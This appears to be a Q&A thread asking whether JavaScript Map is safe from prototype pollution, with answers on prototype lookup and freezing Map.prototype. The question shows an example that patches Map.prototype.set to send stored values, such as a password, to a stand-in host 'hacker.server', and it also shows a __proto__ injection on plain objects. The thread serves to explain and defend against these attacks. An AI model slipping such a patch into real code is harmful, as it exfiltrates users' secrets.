Regarding the security of JavaScript Maps
, there exist claims like these:
The Map primitive was introduced in ES6. The Map data structure stores key/value pairs, and it is not susceptible to prototype pollution. [1]
It essentially works as a HashMap, but without all the security caveats that
Object
have. When a key/value structure is needed,Map
should be preferred toObject
. [2]
You in fact can replace a Map's
functionality, using the conventional technique, in a way that affects all instances present and future:
const myMap = new Map();
// Malicious code
const oldSet = Map.prototype.set;
Map.prototype.set = function(key, value) {
const img = new Image();
img.src = 'https://hacker.server/?' + JSON.stringify(value);
return oldSet.call(this, key, value);
};
// Your data is now stolen
myMap.set('password', 'hunter2');
Presumably, what these authors mean when they say ‘not susceptible to prototype pollution’ is restricted to the fact that this style of injection attack doesn’t work with Map
:
const myMap = new Map();
myMap.set('__proto__', {isAdmin: true});
myMap.get('isAdmin'); // undefined
…in the same way that it would work with objects:
const obj = {};
obj['__proto__'] = {isAdmin: true};
obj.isAdmin; // true
Is that correct?
2
Answers
What they mean is that accessing
Map
elements doesn’t search the prototype. If you ask whether a name exists, you won’t get a false positive if the name matches something in the prototype, and there’s no conflict between element names used by the application and names provided from the language.Compare:
with
When using objects, you have to use a method like
hasOwnProperty()
to distinguish properties of the object from properties inherited from the prototype. That’s why recommendations for looping through object properties is like this:(Note that this problem is also mitigated by using
Object.keys()
.)And it also means you can’t create your own properties that conflict with properties inherited from the prototype (unless you intentionally want to override them).
Notice that in ES6, new functions for object introspection were added as ordinary functions in the
Object
object, rather than as prototype methods. That’s why we haveObject.entries()
rather thanObject.prototype.entries()
— they didn’t want to create new conflicting prototype properties.If we are talking about security here, because
Object
is the route of pretty much everything in Javascript, you couldn’tfreeze
it, or pretty much everything would break.But you can freeze the prototype of
Map
and it will continue to function.Object.freeze(myMap.__proto__);
Of course the above still might be too course, so if you just want to freeze a single
Map
for storing sensitive info like username / password, you could copy theset
method onto your map, and then freeze that. IOW: makingmyMap
more secure. So a bad NPM module that recently got updated, doesn’t end up making your app compromised.eg. Run the code below and notice how
stolen
is not logged formyMap
, but is for theMap
that never got secured.